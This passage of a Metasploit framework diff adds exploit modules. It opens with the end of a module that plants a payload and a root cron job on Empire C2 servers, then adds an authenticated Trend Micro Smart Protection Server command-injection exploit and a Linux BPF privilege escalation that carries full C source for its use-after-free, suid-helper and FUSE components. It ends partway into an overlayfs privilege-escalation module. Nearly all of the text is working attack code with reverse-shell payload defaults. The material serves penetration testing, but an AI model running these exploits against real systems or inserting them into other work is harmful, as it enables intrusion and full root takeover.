Rex::Text::encode_base64(encoded.reverse.pack('C*')) + end + + def rsa_key_to_xml(rsa_key) + rsa_key_xml = "\n" + rsa_key_xml << " #{ rsa_encode_int(rsa_key.e.to_i) }\n" + rsa_key_xml << " #{ rsa_encode_int(rsa_key.n.to_i) }\n" + rsa_key_xml << "" + + rsa_key_xml + end + + def get_staging_key + # STAGE0_URI resource requested by the initial launcher + # The default STAGE0_URI resource is index.asp + # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34 + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, datastore['STAGE0_URI']) + }) + return unless res and res.code == 200 + + staging_key = Array.new(32, nil) + staging_data = res.body.bytes + + reversal_key.each_with_index do |(pos, char_code), key_pos| + staging_key[key_pos] = staging_data[pos] ^ char_code + end + + return if staging_key.include? nil + + # at this point the staging key should have been fully recovered but + # we'll verify it by attempting to decrypt the header of the stage + decrypted = [] + staging_data[0..23].each_with_index do |byte, pos| + decrypted << (byte ^ staging_key[pos]) + end + return unless decrypted.pack('C*').downcase == 'function start-negotiate' + + staging_key + end + + def write_file(path, data, session_id, session_key, server_epoch) + # target_url.path default traffic profile for empire agent communication + # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50 + data = create_packet( + TASK_DOWNLOAD, + [ + '0', + session_id + path, + Rex::Text::encode_base64(data) + ].join('|'), + server_epoch + ) + + if datastore['PROFILE'].blank? + profile_uri = normalize_uri(target_uri.path, %w{ admin/get.php news.asp login/process.jsp }.sample) + else + profile_uri = normalize_uri(target_uri.path, datastore['PROFILE']) + end + + res = send_request_cgi({ + 'cookie' => "SESSIONID=#{session_id}", + 'data' => aes_encrypt(session_key, data, include_mac=true), + 'method' => 'POST', + 'uri' => normalize_uri(profile_uri) + }) + fail_with(Failure::Unknown, "Failed to write file") unless res and res.code == 200 + + res + end + + def cron_file(command) + cron_file = 'SHELL=/bin/sh' + cron_file << "\n" + cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin' + cron_file << "\n" + cron_file << "* * * * * root #{command}" + cron_file << "\n" + + cron_file + end + + def exploit + vprint_status('Recovering the staging key...') + staging_key = get_staging_key + if staging_key.nil? + fail_with(Failure::Unknown, 'Failed to recover the staging key') + end + vprint_status("Successfully recovered the staging key: #{staging_key.map { |b| b.to_s(16) }.join(':')}") + staging_key = staging_key.pack('C*') + + rsa_key = OpenSSL::PKey::RSA.new(2048) + session_id = Array.new(50, '..').join('/') + # STAGE1_URI, The resource used by the RSA key post + # The default STAGE1_URI resource is index.jsp + # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37 + res = send_request_cgi({ + 'cookie' => "SESSIONID=#{session_id}", + 'data' => aes_encrypt(staging_key, rsa_key_to_xml(rsa_key)), + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, datastore['STAGE1_URI']) + }) + fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res and res.code == 200 + vprint_status("Successfully sent the RSA key") + + # decrypt the response and pull out the epoch and session_key + body = rsa_key.private_decrypt(res.body) + server_epoch = body[0..9].to_i + session_key = body[10..-1] + print_status('Successfully negotiated an artificial Empire agent') + + payload_data = nil + payload_path = '/tmp/' + rand_text_alpha(8) + + case target['Arch'] + when ARCH_PYTHON + cron_command = "python #{payload_path}" + payload_data = payload.raw + + when ARCH_X86, ARCH_X64 + cron_command = "chmod +x #{payload_path} && #{payload_path}" + payload_data = payload.encoded_exe + + end + + print_status("Writing payload to #{payload_path}") + write_file(payload_path, payload_data, session_id, session_key, server_epoch) + + cron_path = '/etc/cron.d/' + rand_text_alpha(8) + print_status("Writing cron job to #{cron_path}") + + write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch) + print_status("Waiting for cron job to run, can take up to 60 seconds") + + register_files_for_cleanup(cron_path) + register_files_for_cleanup(payload_path) + # Empire writes to a log file location based on the Session ID, so when + # exploiting this vulnerability that file ends up in the root directory. + register_files_for_cleanup('/agent.log') + end +end diff --git a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb index e3ec94f6bd..e3b5f0c40b 100644 --- a/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb +++ b/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb @@ -87,7 +87,7 @@ class MetasploitModule < Msf::Exploit::Remote headers = res.to_s # validate headers - if headers.incude?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28') + if headers.include?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28') # and make sure that the body contains the title we'd expect if res.body.include?('Login to BlackArmor') return Exploit::CheckCode::Appears diff --git a/modules/exploits/linux/http/trendmicro_sps_exec.rb b/modules/exploits/linux/http/trendmicro_sps_exec.rb new file mode 100644 index 0000000000..d8c7797eee --- /dev/null +++ b/modules/exploits/linux/http/trendmicro_sps_exec.rb @@ -0,0 +1,208 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'openssl' +require 'base64' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info={}) + super(update_info(info, + 'Name' => "Trend Micro Smart Protection Server Exec Remote Code Injection", + 'Description' => %q{ + This module exploits a vulnerability found in TrendMicro Smart Protection Server where untrusted inputs are fed to ServWebExec system command, leading to command injection. + Please note: authentication is required to exploit this vulnerability. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Quentin Kaiser ' + ], + 'References' => + [ + ['CVE-ID', 'CVE-2016-6267'] + ], + 'Platform' => 'linux', + 'Targets' => [ [ 'Linux', {} ] ], + 'Payload' => { 'BadChars' => "\x00" }, + 'CmdStagerFlavor' => [ 'bourne' ], + 'Privileged' => false, + 'DefaultOptions' => + { + 'SSL' => true + }, + 'DisclosureDate' => "Aug 8 2016", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('SSL', [ true, 'Use SSL', true ]), + OptString.new('TARGETURI', [true, 'The base path', '/']), + OptAddress.new("LHOST", [true, "The local host for the exploits and handlers", Rex::Socket.source_address]), + OptPort.new('LPORT', [true, "The port SPS will connect back to ", 4444 ]), + OptString.new('ADMINACCOUNT', [true, 'Name of the SPS admin account', 'admin']), + OptString.new('ADMINPASS', [true, 'Password of the SPS admin account', 'admin']), + ], self.class) + end + + + def check + opts = login + if opts + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "php/about.php?sid=#{opts['sid']}"), + 'headers'=> + { + 'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}", + 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php", + 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", + } + }) + if res and res.code == 200 + version = res.body.to_s.scan(/MSG_ABOUT_VERSION <\/td>[^<]*]*>([^<]*)[^<]*]*>]*>([^<]*) 'POST', + 'version' => '1.0', + 'timeout' => 1, + 'uri' => normalize_uri(uri, 'php/admin_notification.php'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers'=> + { + 'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}", + 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php", + 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", + }, + 'vars_post' => { + 'EnableSNMP' => 'on', + 'Community' => 'hello', + 'submit' => 'Save', + 'pubkey' => '', + 'spare_EnableSNMP' => 1, + 'spare_Community' => "test;#{cmd}", + 'spare_EnableIPRestriction' => 0, + 'spare_AllowGroupIP' => '', + 'spare_AllowGroupNetmask' => '', + 'sid' => opts["sid"] + } + }) + end + + def login + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'index.php'), + }) + if res and res.code == 200 and !res.get_cookies.empty? + sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first.strip + sid_value = res.get_cookies.scan(/#{sid}=([a-z0-9]+);/).last.first + n = res.body.to_s.scan(/name="pubkey" value="([^"]*)"/).last.first + nonce = res.body.to_s.scan(/name="nonce" value="([^"]*)"/).last.first + asn1_sequence = OpenSSL::ASN1::Sequence.new( + [ + OpenSSL::ASN1::Integer.new("0x#{n}".to_i(16)), + OpenSSL::ASN1::Integer.new("0x10001".to_i(16)) + ] + ) + public_key = OpenSSL::PKey::RSA.new(asn1_sequence) + creds = "#{datastore['ADMINACCOUNT']}\t#{datastore['ADMINPASS']}\t#{nonce}" + data = Base64.encode64(public_key.public_encrypt(creds)) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "auth.php"), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers'=> + { + 'Cookie' => "#{sid}=#{sid_value}", + 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php", + 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", + }, + 'vars_post' => { + 'data' => data, + 'sid' => sid + } + }) + if res and res.code == 302 + if res.headers.key?('Set-Cookie') + sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first + sid_value = res.get_cookies.scan(/#{sid}=([^;]*);/).last.first + end + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: (ssl ? "https" : "http"), + user: datastore['ADMINACCOUNT'], + password: datastore['ADMINPASS'], + proof: "#{sid}=#{sid_value}" + ) + return {"sid" => sid, "sid_value" => sid_value} + end + end + nil + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def exploit + opts = login + if opts + print_status("Successfully logged in.") + print_status("Exploiting...") + execute_cmdstager(opts=opts) + else + print_error("An error occured while loggin in.") + end + end +end diff --git a/modules/exploits/linux/local/bpf_priv_esc.rb b/modules/exploits/linux/local/bpf_priv_esc.rb new file mode 100644 index 0000000000..3ef0164fea --- /dev/null +++ b/modules/exploits/linux/local/bpf_priv_esc.rb @@ -0,0 +1,501 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Exploit::EXE + include Msf::Post::File + include Msf::Exploit::FileDropper + + def initialize(info={}) + super( update_info( info, { + 'Name' => 'Linux BPF Local Privilege Escalation', + 'Description' => %q{ + Linux kernel >=4.4 with CONFIG_BPF_SYSCALL and kernel.unprivileged_bpf_disabled + sysctl is not set to 1, BPF can be abused to priv escalate. + Ubuntu 16.04 has all of these conditions met. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'jannh@google.com', # discovery + 'h00die ' # metasploit module + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'References' => + [ + [ 'CVE', '2016-4557' ], + [ 'EDB', '39772' ], + [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808' ], + [ 'URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7' ] + ], + 'Targets' => + [ + [ 'Linux x86', { 'Arch' => ARCH_X86 } ], + [ 'Linux x64', { 'Arch' => ARCH_X64 } ] + ], + 'DefaultOptions' => + { + 'payload' => 'linux/x64/mettle/reverse_tcp', + 'PrependFork' => true, + 'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through + }, + 'DefaultTarget' => 1, + 'DisclosureDate' => 'May 04 2016', + 'Privileged' => true + } + )) + register_options([ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]), + OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 120 ]) + ], self.class) + end + + def check + def check_config_bpf_syscall?() + output = cmd_exec('grep CONFIG_BPF_SYSCALL /boot/config-`uname -r`') + if output == 'CONFIG_BPF_SYSCALL=y' + vprint_good('CONFIG_BPF_SYSCALL is set to yes') + return true + else + print_error('CONFIG_BPF_SYSCALL is NOT set to yes') + return false + end + end + + def check_kernel_disabled?() + output = cmd_exec('sysctl kernel.unprivileged_bpf_disabled') + if output != 'kernel.unprivileged_bpf_disabled = 1' + vprint_good('kernel.unprivileged_bpf_disabled is NOT set to 1') + return true + else + print_error('kernel.unprivileged_bpf_disabled is set to 1') + return false + end + end + + def check_fuse?() + lib = cmd_exec('dpkg --get-selections | grep ^fuse') + if lib.include?('install') + vprint_good('fuse is installed') + return true + else + print_error('fuse is not installed. Exploitation will fail.') + return false + end + end + + def mount_point_exists?() + if directory?('/tmp/fuse_mount') + print_error('/tmp/fuse_mount should be unmounted and deleted. Exploitation will fail.') + return false + else + vprint_good('/tmp/fuse_mount doesn\'t exist') + return true + end + end + + if check_config_bpf_syscall?() && check_kernel_disabled?() && check_fuse?() && mount_point_exists?() + CheckCode::Appears + else + CheckCode::Safe + end + end + + def exploit + + def upload_and_compile(filename, file_path, file_content, compile=nil) + rm_f "#{file_path}" + if not compile.nil? + rm_f "#{file_path}.c" + vprint_status("Writing #{filename} to #{file_path}.c") + write_file("#{file_path}.c", file_content) + register_file_for_cleanup("#{file_path}.c") + output = cmd_exec(compile) + if output != '' + print_error(output) + fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile") + end + else + vprint_status("Writing #{filename} to #{file_path}") + write_file(file_path, file_content) + end + cmd_exec("chmod +x #{file_path}"); + register_file_for_cleanup(file_path) + end + + doubleput = %q{ + #define _GNU_SOURCE + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + + #ifndef __NR_bpf + # if defined(__i386__) + # define __NR_bpf 357 + # elif defined(__x86_64__) + # define __NR_bpf 321 + # elif defined(__aarch64__) + # define __NR_bpf 280 + # else + # error + # endif + #endif + + int uaf_fd; + + int task_b(void *p) { + /* step 2: start writev with slow IOV, raising the refcount to 2 */ + char *cwd = get_current_dir_name(); + char data[2048]; + sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd); + struct iovec iov = { .iov_base = data, .iov_len = strlen(data) }; + if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount")) + errx(1, "system() failed"); + int fuse_fd = open("fuse_mount/hello", O_RDWR); + if (fuse_fd == -1) + err(1, "unable to open FUSE fd"); + if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov)) + errx(1, "unable to write to FUSE fd"); + struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0); + if (iov_ == MAP_FAILED) + err(1, "unable to mmap FUSE fd"); + fputs("starting writev\n", stderr); + ssize_t writev_res = writev(uaf_fd, iov_, 1); + /* ... and starting inside the previous line, also step 6: continue writev with slow IOV */ + if (writev_res == -1) + err(1, "writev failed"); + if (writev_res != strlen(data)) + errx(1, "writev returned %d", (int)writev_res); + fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.\n", stderr); + while (1) sleep(1); /* whatever, just don't crash */ + } + + void make_setuid(void) { + /* step 1: open writable UAF fd */ + uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC); + if (uaf_fd == -1) + err(1, "unable to open UAF fd"); + /* refcount is now 1 */ + + char child_stack[20000]; + int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL); + if (child == -1) + err(1, "clone"); + sleep(3); + /* refcount is now 2 */ + + /* step 2+3: use BPF to remove two references */ + for (int i=0; i<2; i++) { + struct bpf_insn insns[2] = { + { + .code = BPF_LD | BPF_IMM | BPF_DW, + .src_reg = BPF_PSEUDO_MAP_FD, + .imm = uaf_fd + }, + { + } + }; + union bpf_attr attr = { + .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, + .insn_cnt = 2, + .insns = (__aligned_u64) insns, + .license = (__aligned_u64)"" + }; + if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1) + errx(1, "expected BPF_PROG_LOAD to fail, but it didn't"); + if (errno != EINVAL) + err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error"); + } + /* refcount is now 0, the file is freed soon-ish */ + + /* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */ + int status; + int hostnamefds[1000]; + int used_fds = 0; + bool up = true; + while (1) { + if (waitpid(child, &status, WNOHANG) == child) + errx(1, "child quit before we got a good file*"); + if (up) { + hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY); + if (hostnamefds[used_fds] == -1) + err(1, "open target file"); + if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break; + used_fds++; + if (used_fds == 1000) up = false; + } else { + close(hostnamefds[--used_fds]); + if (used_fds == 0) up = true; + } + } + fputs("woohoo, got pointer reuse\n", stderr); + while (1) sleep(1); /* whatever, just don't crash */ + } + + int main(void) { + pid_t child = fork(); + if (child == -1) + err(1, "fork"); + if (child == 0) + make_setuid(); + struct stat helperstat; + while (1) { + if (stat("suidhelper", &helperstat)) + err(1, "stat suidhelper"); + if (helperstat.st_mode & S_ISUID) + break; + sleep(1); + } + fputs("suid file detected, launching rootshell...\n", stderr); + execl("./suidhelper", "suidhelper", NULL); + err(1, "execl suidhelper"); + } + } + + suid_helper = %q{ + #include + #include + #include + #include + + int main(void) { + if (setuid(0) || setgid(0)) + err(1, "setuid/setgid"); + fputs("we have root privs now...\n", stderr); + execl("/bin/bash", "bash", NULL); + err(1, "execl"); + } + + } + + hello = %q{ + /* + FUSE: Filesystem in Userspace + Copyright (C) 2001-2007 Miklos Szeredi + heavily modified by Jann Horn + + This program can be distributed under the terms of the GNU GPL. + See the file COPYING. + + gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello + */ + + #define FUSE_USE_VERSION 26 + + #include + #include + #include + #include + #include + #include + #include + #include + + static const char *hello_path = "/hello"; + + static char data_state[sizeof(struct iovec)]; + + static int hello_getattr(const char *path, struct stat *stbuf) + { + int res = 0; + memset(stbuf, 0, sizeof(struct stat)); + if (strcmp(path, "/") == 0) { + stbuf->st_mode = S_IFDIR | 0755; + stbuf->st_nlink = 2; + } else if (strcmp(path, hello_path) == 0) { + stbuf->st_mode = S_IFREG | 0666; + stbuf->st_nlink = 1; + stbuf->st_size = sizeof(data_state); + stbuf->st_blocks = 0; + } else + res = -ENOENT; + return res; + } + + static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) { + filler(buf, ".", NULL, 0); + filler(buf, "..", NULL, 0); + filler(buf, hello_path + 1, NULL, 0); + return 0; + } + + static int hello_open(const char *path, struct fuse_file_info *fi) { + return 0; + } + + static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { + sleep(10); + size_t len = sizeof(data_state); + if (offset < len) { + if (offset + size > len) + size = len - offset; + memcpy(buf, data_state + offset, size); + } else + size = 0; + return size; + } + + static int hello_write(const char *path, const char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { + if (offset != 0) + errx(1, "got write with nonzero offset"); + if (size != sizeof(data_state)) + errx(1, "got write with size %d", (int)size); + memcpy(data_state + offset, buf, size); + return size; + } + + static struct fuse_operations hello_oper = { + .getattr = hello_getattr, + .readdir = hello_readdir, + .open = hello_open, + .read = hello_read, + .write = hello_write, + }; + + int main(int argc, char *argv[]) { + return fuse_main(argc, argv, &hello_oper, NULL); + } + } + + hello_filename = 'hello' + hello_path = "#{datastore['WritableDir']}/#{hello_filename}" + doubleput_file = "#{datastore['WritableDir']}/doubleput" + suidhelper_filename = 'suidhelper' + suidhelper_path = "#{datastore['WritableDir']}/#{suidhelper_filename}" + payload_filename = rand_text_alpha(8) + payload_path = "#{datastore['WritableDir']}/#{payload_filename}" + + if check != CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') + end + + def has_prereqs?() + def check_libfuse_dev?() + lib = cmd_exec('dpkg --get-selections | grep libfuse-dev') + if lib.include?('install') + vprint_good('libfuse-dev is installed') + return true + else + print_error('libfuse-dev is not installed. Compiling will fail.') + return false + end + end + def check_gcc?() + gcc = cmd_exec('which gcc') + if gcc.include?('gcc') + vprint_good('gcc is installed') + return true + else + print_error('gcc is not installed. Compiling will fail.') + return false + end + end + def check_pkgconfig?() + lib = cmd_exec('dpkg --get-selections | grep ^pkg-config') + if lib.include?('install') + vprint_good('pkg-config is installed') + return true + else + print_error('pkg-config is not installed. Exploitation will fail.') + return false + end + end + return check_libfuse_dev?() && check_gcc?() && check_pkgconfig?() + end + + compile = false + if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' + if has_prereqs?() + compile = true + vprint_status('Live compiling exploit on system') + else + vprint_status('Dropping pre-compiled exploit on system') + end + end + + if compile == false + # doubleput file + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'doubleput') + fd = ::File.open( path, "rb") + doubleput = fd.read(fd.stat.size) + fd.close + # hello file + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'hello') + fd = ::File.open( path, "rb") + hello = fd.read(fd.stat.size) + fd.close + # suidhelper file + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'suidhelper') + fd = ::File.open( path, "rb") + suid_helper = fd.read(fd.stat.size) + fd.close + + # overwrite with the hardcoded variable names in the compiled versions + payload_filename = 'AyDJSaMM' + payload_path = '/tmp/AyDJSaMM' + end + + # make our substitutions so things are dynamic + suid_helper.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/, + "return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable + doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/, + 'exit(0);') + print_status('Writing files to target') + cmd_exec("cd #{datastore['WritableDir']}") + upload_and_compile('hello', hello_path, hello, compile ? "gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`" : nil) + upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_file} #{doubleput_file}.c -Wall" : nil) + upload_and_compile('suidhelper', suidhelper_path, suid_helper, compile ? "gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall" : nil) + upload_and_compile('payload', payload_path, generate_payload_exe) + + print_status('Starting execution of priv esc. This may take about 120 seconds') + + cmd_exec(doubleput_file) + sec_waited = 0 + until sec_waited > datastore['MAXWAIT'] do + Rex.sleep(1) + # check file permissions + if cmd_exec("ls -lah #{suidhelper_path}").include?('-rwsr-sr-x 1 root root') + print_good('got root, starting payload') + print_error('This exploit may require process killing of \'hello\', and \'doubleput\' on the target') + print_error('This exploit may require manual umounting of /tmp/fuse_mount via \'fusermount -z -u /tmp/fuse_mount\' on the target') + print_error('This exploit may require manual deletion of /tmp/fuse_mount via \'rm -rf /tmp/fuse_mount\' on the target') + cmd_exec("#{suidhelper_path}") + return + end + sec_waited +=1 + end + end + + def on_new_session(session) + # if we don't /bin/bash here, our payload times out + # [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400 + # [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died + session.shell_command_token('/bin/bash') + super + end +end diff --git a/modules/exploits/linux/local/overlayfs_priv_esc.rb b/modules/exploits/linux/local/overlayfs_priv_esc.rb new file mode 100644 index 0000000000..0905904cd9 --- /dev/null +++ b/modules/exploits/linux/local/overlayfs_priv_esc.rb @@ -0,0 +1,293 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require "msf/core" + +class MetasploitModule < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Overlayfs Privilege Escalation', + 'Description' => %q{ + This module attempts to exploit two different CVEs related to overlayfs. + CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55 + 3.16.0-25 (14.10 default) < 3.16.0-41 + 3.19.0-18 (15.04 default) < 3.19.0-21 + CVE-2015-8660: + Ubuntu: + 3.19.0-18 < 3.19.0-43 + 4.2.0-18 < 4.2.0-23 (14.04.1, 15.10) + Fedora: + < 4.2.8 (vulnerable, un-tested) + Red Hat: + < 3.10.0-327 (rhel 6, vulnerable, un-tested) + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'h00die ', # Module + 'rebel' # Discovery + ], + 'DisclosureDate' => 'Jun 16 2015', + 'Platform' => [ 'linux'], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => + [ + [ 'CVE-2015-1328', { } ], + [ 'CVE-2015-8660', { } ] + ], + 'DefaultTarget' => 1, + 'DefaultOptions' => + { + 'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su + }, + 'References' => + [ + [ 'EDB', '39166'], # CVE-2015-8660 + [ 'EDB', '37292'], # CVE-2015-1328 + [ 'CVE', '2015-1328'], + [ 'CVE', '2015-8660'] + ] + )) + register_options( + [ + OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]), + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) + ], self.class) + end + + def check + def mounts_exist?() + vprint_status('Checking if mount points exist') + if target.name == 'CVE-2015-1328' + if not directory?('/tmp/ns_sploit') + vprint_good('/tmp/ns_sploit not created') + return true + else + print_error('/tmp/ns_sploit directory exists. Please delete.') + return false + end + elsif target.name == 'CVE-2015-8660' + if not directory?('/tmp/haxhax') + vprint_good('/tmp/haxhax not created') + return true + else + print_error('/tmp/haxhax directory exists. Please delete.') + return false + end + end + end + + def kernel_vuln?() + os_id = cmd_exec('grep ^ID= /etc/os-release') + case os_id + when 'ID=ubuntu' + kernel = Gem::Version.new(cmd_exec('/bin/uname -r')) + case kernel.release.to_s + when '3.13.0' + if kernel.between?(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic')) + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") + return true + else + print_error("Kernel #{kernel} is NOT vulnerable") + return false + end + when '3.16.0' + if kernel.between?(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic')) + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") + return true + else + print_error("Kernel #{kernel} is NOT vulnerable") + return false + end + when '3.19.0' + if kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic')) + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") + return true + elsif kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic')) + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660") + return true + else + print_error("Kernel #{kernel} is NOT vulnerable") + return false + end + when '4.2.0' + if kernel.between?(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic')) + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660") + return true + else + print_error("Kernel #{kernel} is NOT vulnerable") + return false + end + else + print_error("Non-vuln kernel #{kernel}") + return false + end + when 'ID=fedora' + kernel = Gem::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc + # irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '') + # => "4.0.4-301" + if kernel.release < Gem::Version.new('4.2.8') + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660. Exploitation UNTESTED") + return true + else + print_error("Non-vuln kernel #{kernel}") + return false + end + else + print_error("Unknown OS: #{os_id}") + return false + end + end + + if mounts_exist?() && kernel_vuln?() + return CheckCode::Appears + else + return CheckCode::Safe + end + end + + def exploit + + if check != CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') + end + + filename = rand_text_alphanumeric(8) + executable_path = "#{datastore['WritableDir']}/#{filename}" + payloadname = rand_text_alphanumeric(8) + payload_path = "#{datastore['WritableDir']}/#{payloadname}" + + def has_prereqs?() + gcc = cmd_exec('which gcc') + if gcc.include?('gcc') + vprint_good('gcc is installed') + else + print_error('gcc is not installed. Compiling will fail.') + end + return gcc.include?('gcc') + end + + compile = false + if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' + if has_prereqs?() + compile = true + vprint_status('Live compiling exploit on system') + else + vprint_status('Dropping pre-compiled exploit on system') + end + end + if check != CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') + end + + def upload_and_chmod(fname, fcontent, cleanup=true) + print_status "Writing to #{fname} (#{fcontent.size} bytes)" + rm_f fname + 